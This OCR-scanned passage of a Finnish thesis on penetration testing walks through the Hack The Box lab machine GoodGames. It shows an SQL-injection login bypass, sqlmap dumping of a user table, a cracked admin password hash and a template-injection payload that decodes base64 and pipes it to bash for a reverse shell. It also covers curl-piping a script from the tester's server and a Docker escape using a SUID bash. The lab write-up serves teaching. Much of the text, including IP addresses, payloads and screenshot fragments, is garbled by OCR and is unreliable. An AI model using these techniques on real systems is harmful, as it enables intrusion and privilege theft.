1 POST flogin HTTP/1.1

2 Host: 10.1@.11.130

2 Content-Length: 48

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://10.18.11.13@

7 Content-Type: application/x-www-form-urlencoded

2 User-Agent: Mozilla/5.@ (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5481.78 Safari/537.36
9 Accept: text/html, application/xhtml+xml,application/xml;q=0.9,6 image/avif, image/webp, image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.7
10 Referer: http://10.10.11.130/signup

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-U5,en;g=0.9

13 Connection: close

15 email=admin%27+or+1+%30+1+--+-&password=password|

Kuten kuvassa 13 naytetdan, tulee l0ydetty sahkopostiosoite liittdda web-pyynnén email-
riville. Jotta web-pyyntd on hyddynnettavissa SQL injektiota varten, tulee se tallentaa

tiedostoon klikkaamalla hiiren oikeaa ja valitsemalla "save item”.
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Kuva 13. Kuvakaappaus web-pyynndn muokatusta rivista

email=admin@goodgames.htb&password=password

6.3 SAQL injektio

Burp Suite tyokalun avulla tallennettu web-pyynt6 on tallennettu tiedostoon ja sen avulla on
mahdollista tutkia tietokantaa sglmap tyokalulla. Sqlmap tydkalua hyédyntaen tietokannan
tutkimisessa, edetdadn tutkimisessa kerroksittain kayttaen tyokalun erilaisia optioita.
Tutkiminen aloitetaan tietokannan luetteloinnista, josta edetaan tietokantojen
havaitsemisesta, taulujen havaitsemiseen ja lopulta taulujen sisallon havaitsemiseen.

Kuvassa 14 nakyy, kuinka ty6kalu on luetteloinut tietokannan.

Kuva 14. Sqlmap tydékalun tuloste

~/Goodgames
odgames.req
ali:

p/output/10.10.11.130"

Luetteloimalla tietokantaa ja sen tauluja, on mahdollista I6ytaa tietokantaan tallennettuja
arkaluontoisia tietoja. Kuvassa 15 nahdaan, kuinka tyokalu havaitsi tietokannan nimelta

main.
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Kuva 15. Sqlmap tietokanta havainnot

~/Goodgames
goodgames.req

) AND

under '/root/.local/s map/output/10.10.11.130"

Mennaan kerros alaspain ja tutkitaan tietokannan “main” tauluja, kuvassa 16 on nahtavissa
havaitut taulut. Sqlmap 16ysi kaikkiaan 3 taulua, naista silmamaaraisesti arvioituna, taulu

user vaikuttaa penetraatiotestauksen kannalta mielenkiintoisimmalta.
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Kuva 16. Sglmap tietokannan taulu havainnot

goodgames.req

ibili

a

[11:11:37] [ Fe data to text files t ; /. local/ / tp 0.10.11.130"

[*] endir

Hakemalla taulua user, paljastuu taulu, joka sisaltaa kentéat id, name, email ja password,

nama ovat nahtavissa kuvasta 17 ja 18.
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Kuva 17. Taulun taulun user havainnot

goodgames.req

mutual

ume no lia

[ E [ 1r ni ; p ) ir n rd’
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

| 1 | admin

Taulua tutkimalla voi todeta, ettd sahkopostiosoite vastaa aiemmin I6ydettya
sdahkopostiosoitetta ja password kentta sisaltda salasanan tiivisteen. Tiiviste on mahdollista
murtaa kayttamalla CrackStation tyokalua. Kuvasta 19 voi todeta kuinka sy6ttamalla
tiivisteen tyokaluun, paljastuu salasanaksi ”superadministrator”. Tydkalu l6ytyy osoitteesta

https://crackstation.net/.
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Kuva 19. Kuvakaappaus Crackstation tyokalusta ja sen tuloksista

CrackStation

Defuse.ca - Y Twitter
o
CrackStation ¥ Password Hashing Security ¥ Defuse Security ¥

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

2b223371218b2d82dfc3b6f77e7cb8ec

Supports: LM, NTLM, md2, md4, mds, md5{md5_hex), md5-half, shal, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+
(shai(shai_bin)), Qubesv3. 1BackupDefaults

Hash Type Result

2b223371218b2d82df c3b6f77e7cbBec || md5 || superadministrator

Color Codes: [BFEBRE Exact match, Yellow: Partial match, [HEEl Mot found.

On mahdollista, etta salasana toimii, jollekin 16ydetyista sivustoista. Kokeilemalla |6ydettya
tunnusta ja salasanaa sivulle http://goodgames.htb/signup kirjautuminen onnistuu. Ei ole
epatavallista, ettd samaa tunnusta ja salasanaa olisi kdytetty muille sivuille, joten ndama
tunnukset voivat toimia myo6s aiemmin loydetylle Flask Volt kirjautumissivulle. Tunnukset

toimivat ja eteen avautuu uusi sivusto, joka on nahtavissa kuvassa 20.



Kuva 20. Flask Volt sivuston etusivu

< c QO @ intern nistration.goodgames.htb/index

Kali Linux § KaliTools < KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Hack The Box TryHackMe | Cyber Sec...

Volt Overview Q | search
5 Dashboard
+ New Task
= Transactions

Settings Sales Value

$10,567

Yesterday 10.57%

M n Wed Th
345k $43,594
i
Feb1-Apr1, @ USA Feb 1-Apri1, @ GER
since last month ~ 22% since last month v 2%

6.4 Server-side template injection (SSTI)

26

b3 o+ & =

~ O current User: admin

Month  Week

50.88%
Feb 1-Apr 1
Since last month A 4%

Uuden sivuston tutkittua, 16ytyy sivustolta asetusvalikko, mika antaa kayttajalle

mahdollisuuden muokata kayttajatietojaan. Kayttajaasetukset muokkaamiseen tarkoitettu

lomake on nahtavissa kuvassa 21.
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Kuva 21. Web-sovelluksen kayttdjaasetukset
Q. search

General information

Full Name Birthday
Enter your full name = dd/mm/yyyy
Email Phone
admin@goodgames.htb

+12-345 678 910

Save all

Sivuston ollessa Python applikaatio, on mahdollista, ettd lomake on haavoittuva SSTl:lle.
Helpoin tapa testata tata, on sy6ttaa Full Name kenttaan kuvassa 22 nakyva kertotaulu.

Mikali lomake on haavoittuva, tulisi nimeksi vaihtua 25 (Hacktricks, n.d).

Kuva 22. SSTI testi

Full Name

Kuvasta 23 nahdaan kuinka sy6ttamalla tiedot, kayttajanimeksi vaihtuu numero 25.
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Kuva 23. SSTI haavoittuvuus vahvistui nimikentan mahdollistaessa koodin syéttamisen

25

admin

admin@goodgames.htb

Lomake on siis haavoittuva SSTl:lle, joten kdaytanndssa lomakkeen kenttien kautta on
mahdollista syottaa payload, joka kaynnistaa etdakomentotulkin. Kuvassa 24 nahdaan, kuinka

ensin taytyy syotettava payload muuttaa base64 koodille.

Kuva 24. Payloadin muuntaminen base64 koodille

~/Goodgames

Etakomentotulkkia varten taytyy myos kdaynnistaa paikallisesti kuuntelija porttiin 4444,

minne etdayhteys muodostuu, tdma on nahtavissa kuvassa 25.

Kuva 25. Netcat tyokalulla kuuntelijan kdynnistaminen portissa 4444

~/Goodgames

listening on

Luomalla yksinkertaisen SSTl-payloadin hyodyntden kayttajan Swissky Github-sivustolta
saatavilla olevia injektioita ja on mahdollista toimittaa se lomakkeen name kentan kautta

(Swissky, 2023). Luotu SSTI-payload on nahtavissa kuvassa 26.
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Kuva 26. SSTl-payload, joka syotetdadan lomakkeen nimikentan kautta

{{config.__clas5__.__init__.__globals__['05‘].popen('ech0${IF5}Nsza
CAtaSA|+] iAVZGV2L3RjcC8xMCAXMCAxXNC4A1L zQONDQgMD4AmMQ==$1FS} |base64${IFS
1-d|bash').read()}}

Onnistuneen etayhteyden muodostuminen on nahtavissa kuvassa 27.

Kuva 27. Kuuntelija portissa 4444 vastaanottaa yhteyden onnistuneesti

~/Goodgames

6.5 Oikeuksien korottaminen & docker escape

Etdayhteyden avulla on mahdollista tutkia kohdejarjestelmaa ja jalleen etsia hyodyllista
tietoa. Useat vihjeet viittaavat kayttajan olevan Docker kontin sisdlld. Kohteesta 16ytyy
kayttaja augustus ja hdanen kotihakemistonsa. Kuten kuvassa 28 nahdaan, kayttajan

kotihakemiston luetteloitua, on tiedostoissa ndahtavissa UID 1000 nimen augustus sijaan.
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Kuva 28. Korostettuna tiedoston omistajuudet

Kuvassa 29 nahdaan, kuinka listaamalla juurihakemiston 16ytyy .dockerenv tiedosto mika

viittaa my6s Docker-alustaan.



Kuva 29. Listattu juurihakemisto

=
-

)}
ra
-

Kuvasta 30 on nahtavissa kuinka, ajamalla mount komennon selvida, etta kayttdjan

hakemisto on liitetty read/write oikeuksilla.

31



32

Kuva 30.Korostettuna kayttdjan augustus kotihakemiston oikeudet

Kuvassa 31 nahdaan, miten komento ”ip a” paljastaa IP-osoitteen 172.19.0.2. Yleensa Docker
maarittaa ensimmaisen IP-osoitteen isanndlle oletus konfiguraatioissa, joten 172.19.0.2 voi

olla sisdinen Docker IP-osoite (Docker, n.d. -b).

Kuva 31. Komennon ip a tuloste

y default qglen

Skannaamalla IP-osoitteen 172.19.0.1, on tarkea saada tietda avoinna olevat portit silla ne
voivat mahdollistaa lateraalin liikkumisen kohteessa. Vaikka kohteessa ei ole nmap
asennettuna, on mahdollista luoda porttiskannaus bash-skripti hyodyntden verkosta
saatavilla olevia esimerkkeja (Catonmat, n.d). Luotu porttiskannaus bash-skripti ndhdaan

kuvassa 32.

Kuva 32. Porttiskannaus bash-skripti

B! /usr/bin/env bash

for p in 'seq 1
timeout 1 e 2 /n /i °p 1/$p & echo "Port $p open" &
done; wait

Paikallisesti luodun porttiskannaus skriptin voi ajaa kohdekoneella hyodyntamalla paikallista
Python HTTP serveria ja kohdekoneen curl-tyokalua. Kaynnistamalla Python HTTP serverin
paikallisesti, voidaan kohdekoneelta suorittaa curl-komento, joka hakee porttiskannaus
bash-skriptin ja putken avulla ohjaa sen suoritettavaksi bash-komentotulkissa. Python http

serverin kdynnistaminen on nahtavissa kuvassa 33 ja curl-tydkalun kayttd kuvassa 34.
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Kuva 33. Python HTTP serverin kdynnistaminen lokaalisti

~/Goodgames

Porttiskannaus paljastaa portin 22 (SSH) olevan auki. Hyodyntamalla aiemmin I16ydettya
salasanaa kayttajalle augustus, on mahdollista testata SSH-yhteyden muodostamista
kohteeseen. Kuvassa 35 nahdaan, kuinka yhteyden muodostuminen ja kirjautuminen

kayttajalla augustus onnistui.
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Kuva 35. SSH-yhteyden muodostaminen kohdekoneelle

bash

q

i #t1 SMP Debian 4.1¢

Kayttajan hakemiston ollessa mountattuna docker konttiin, mahdollistaa se tiedostojen
kirjoittamisen isantdakoneella ja oikeuksien muuttamisen Root-kayttdjan tasolle kontin

sisaltd. Taman myota muutokset heijastuvat myos isdntdakoneelle. (Vsupalov.com, n.d)

Kuvassa 36 esitelladn kuinka kayttdjan ollessa augustus, on mahdollista heijastaa muutokset
isdntdakoneelle kontin ulkopuolelle, kopioimalla bash-tiedosto kayttdjan home hakemistoon.

Taman jalkeen tulee kirjautua ulos.

Kuva 36. Bash-tiedoston kopiointi kayttajalla augustus

Palattua takaisin kontin sisdlle Root-kayttajaksi, tulee bash-tiedoston oikeudet muuttaa

Root-kayttdjan omistukseen ja root kayttajaryhmalle. Kuvassa 37 ndhdaan, kuinka

muutokset tehdaan kontin sisalta ja tiedostolle annetaan myos SUID oikeudet.
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Kuva 37. Bash-tiedoston oikeuksien muuttaminen

Taman jalkeen tulee kohdekoneelle muodostaa SSH-yhteys kayttajalla augustus ja tarkistaa
bash-tiedoston oikeudet. Kuvasta 38 voi todeta, kuinka kopioidulla bash-tiedostolla on SUID

oikeudet.

Kuva 38. Kopioidun bash-tiedoston oikeudet

Bash-tiedostolla on SUID oikeudet, joten suorittamalla kuvassa 39 nakyvan komennon,
saadaan kayttajalle augustus Root-kayttdjan oikeudet.

Kuva 39. Shell kdaynnistaminen Root-kayttdjan oikeuksilla

6.6 Yhteenveto

Tama kaytannon osuus lopetettiin vaiheeseen, jossa testaaja oli saanut Root-kdyttajan
oikeudet. Oikeassa penetraatiotestauksen toimeksiannossa, testaamista jatkettaisiin vield
pidempaan ja pyrittaisiin etsimaan kaikki mahdolliset haavoittuvuudet. Penetraatiotestaus
sisaltaisi myos kappaleessa 2, luvussa 3 esitellyn jalkihyokkaysvaiheen, missa
penetraatiotestaaja vakiinnuttaisi asemaansa palvelimella luomalla itselleen
kayttajatunnuksia ja rakentamalla esimerkiksi takaportin, jonka avulla hyokkaaja voi palata

palvelimelle ilman autentikointia. Penetraatiotestaus sisaltdisi myods kappaleessa 2, luvussa 3
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esitellyn raportointivaiheen, missa penetraatiotestaaja kirjoittaisi kaikista 10ydoksistdan

selkedn raportin, joka esitettaisiin toimeksiantotaholle.

Penetraatiotestin kohde sisalsi useita vakavia haavoittuvuuksia, eika kaikki haavoittuvuudet
tulleet edes esille tassa kaytannon osuudessa. Nain haavoittuvat palvelimet, ovat onneksi
nykydan yha harvemmassa ja todellisuudessa web-applikaation penetraatiotestausta
suorittaessa saa tehda huomattavasti paljon enemman tutkimista ja testaamista, jotta

hyoddynnettdvissa olevia haavoittuvuuksia [6ytyy.

7 Pohdinta

Opinndytetyon aihe on hyvin laaja, mutta lopputulos onnistui kuitenkin hyvin ja
opinndytetyo esittelee penetraatiotestauksen keskeisimmat elementit tiiviissa muodossa.
Teoriaosuus esitteli penetraatiotestauksen menetelmia, tydkaluja ja kaytannon osuuden
haavoittuvuudet. Kaytannon osuus simuloi hyokkaysta jarjestelmaan ja web-applikaation
penetraatiotestausta, jonka avulla lukijan oli mahdollisuus nahda penetraatiotestauksen

menetelmat kdytdannossa ja kuinka penetraatiotestauksen tyokaluja voidaan hyddyntaa.

Tyokokemukseni tietoturva-alalta ja oma harrastuneisuuteni helpotti opinnaytetyon
kirjoittamista. Aiheen laajuus toi omia haasteita aiheen rajaamiseen. Aiheen rajaamisessa
auttoi tieto, ettd penetraatiotestaus vaatii myos teknistd osaamista ja eri aihealueiden
hallintaa ja kaikkea tata ei ole mahdollista kdyda lapi AMK-tasoisessa opinndytetyossa lapi.
Taman vuoksi koin paremmaksi rajata opinnaytetyon heille, joilla on jo entuudestaan IT-alan
taitoja kuten kokemusta tietoverkoista, Linux-kayttojarjestelmasta. Opinndytetyon
kirjoittaminen itsessaan onnistui suhteellisen vaivattomasti. Tunsin entuudestaan alan
kirjallisuutta ja penetraatiotestaamisen menetelmia ja tyokaluja, jonka vuoksi tiedonhaku
sujui nopeasti. Suurin haaste kirjoittamisessa, oli kdytdannon osuuden dokumentointi ja

kirjoittaminen.

Opinndytetyon tavoitteena oli antaa lukijalle perusteet penetraatiotestauksesta ja toivon

mukaan tama lyhyt opas herattda mielenkiintoa tietoturvaan ja inspiroisi yha useampaa



hakemaan penetraatiotestauksen ja kyberturvallisuuden pariin joko ammatillisessa tai

harrastemielessa.

37



38

Lihteet

Administrator, (2012). SQL injection authentication bypass cheat sheet. Penetration testing

lab. https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-
cheat-sheet/

Catonmat, (n.d). TCP Port scanner in bash. https://catonmat.net/tcp-port-scanner-in-bash

Crawley, K. & Wiley, P. (2021). The Pentester Blueprint. John Wiley & Sons, Inc. Kanada.
Cybereason Team. (5.10.2022). Container Escape: All you need is cap (Capabilities).

https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-

capabilities
Damele, B. & Stampar, M. (n.d, a). Sglmap — automatic sql injection and database takeover

tool. https://sqlmap.org/

Damele, B. & Stampar, M. (n.d, b). Sgimap - usage.

https://github.com/salmapproject/sqlmap/wiki/Usage

Docker Inc. (n.d. -a). Docker overview. https://docs.docker.com/get-started/overview/

Docker Inc. (n.d. -b). Container networking.

https://docs.docker.com/config/containers/container-networking/

Gordon, R. (2023). Introduction to Hack the Box.
https://help.hackthebox.com/en/articles/5185158-introduction-to-hack-the-
box

Hacktricks. (n.d). SSTI server-side template injection. https://book.hacktricks.xyz/pentesting-

web/ssti-server-side-template-injection

Harrington, D. (2022). Your Guide to Simulated Cyberattacks: What is Penetration Testing?

https://www.varonis.com/blog/penetration-testing

IBM Corporation. (24.3.2023). Root account.

https://www.ibm.com/docs/en/aix/7.2?topic=passwords-root-account

Kali Linux. (2022). What is Kali Linux. Offsec Services limited.

https://www.kali.org/docs/introduction/what-is-kali-linux/

Kettle, J. (16.8.2022). Server-side template injection.

https://portswigger.net/research/server-side-template-injection

Lyon, G. (2008). Nmap network scanning. Insecure.com LLC.

Lyon, G. (2008). Usage and Examples. https://nmap.org/book/osdetect-usage.html



https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/
https://catonmat.net/tcp-port-scanner-in-bash
https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities
https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities
https://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/wiki/Usage
https://docs.docker.com/get-started/overview/
https://docs.docker.com/config/containers/container-networking/
https://help.hackthebox.com/en/articles/5185158-introduction-to-hack-the-box
https://help.hackthebox.com/en/articles/5185158-introduction-to-hack-the-box
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
https://www.varonis.com/blog/penetration-testing
https://www.ibm.com/docs/en/aix/7.2?topic=passwords-root-account
https://www.kali.org/docs/introduction/what-is-kali-linux/
https://portswigger.net/research/server-side-template-injection
https://nmap.org/book/osdetect-usage.html

39

Oracle VM VirtualBox. (2022). User manual.
https://docs.oracle.com/en/virtualization/virtualbox/7.0/user/

OWASP, (n.d). SQL injection. https://owasp.org/www-community/attacks/SQL Injection

Risher, B. (8.3.2023). Feroxbuster overview. https://epi052.github.io/feroxbuster-

docs/docs/overview/

Tagade, K. (4.4.2023). What is Web Application Penetration Testing [Ultimate Guide].

https://www.getastra.com/blog/security-audit/web-application-penetration-

testing/
Themesberg, (n.d). Volt Flask Dashboard. https://themesberg.com/product/flask/volt-

admin-dashboard-template

Vsupalov.com (n.d). Avoiding permission issues with Docker-created files.

https://vsupalov.com/docker-shared-permissions/

Whang, S. (23.5.2019). Back to basics: DNS enumeration.
https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3



https://docs.oracle.com/en/virtualization/virtualbox/7.0/user/
https://owasp.org/www-community/attacks/SQL_Injection
https://epi052.github.io/feroxbuster-docs/docs/overview/
https://epi052.github.io/feroxbuster-docs/docs/overview/
https://www.getastra.com/blog/security-audit/web-application-penetration-testing/
https://www.getastra.com/blog/security-audit/web-application-penetration-testing/
https://themesberg.com/product/flask/volt-admin-dashboard-template
https://themesberg.com/product/flask/volt-admin-dashboard-template
https://vsupalov.com/docker-shared-permissions/
https://medium.com/@klockw3rk/back-to-basics-dns-enumeration-446017957aa3




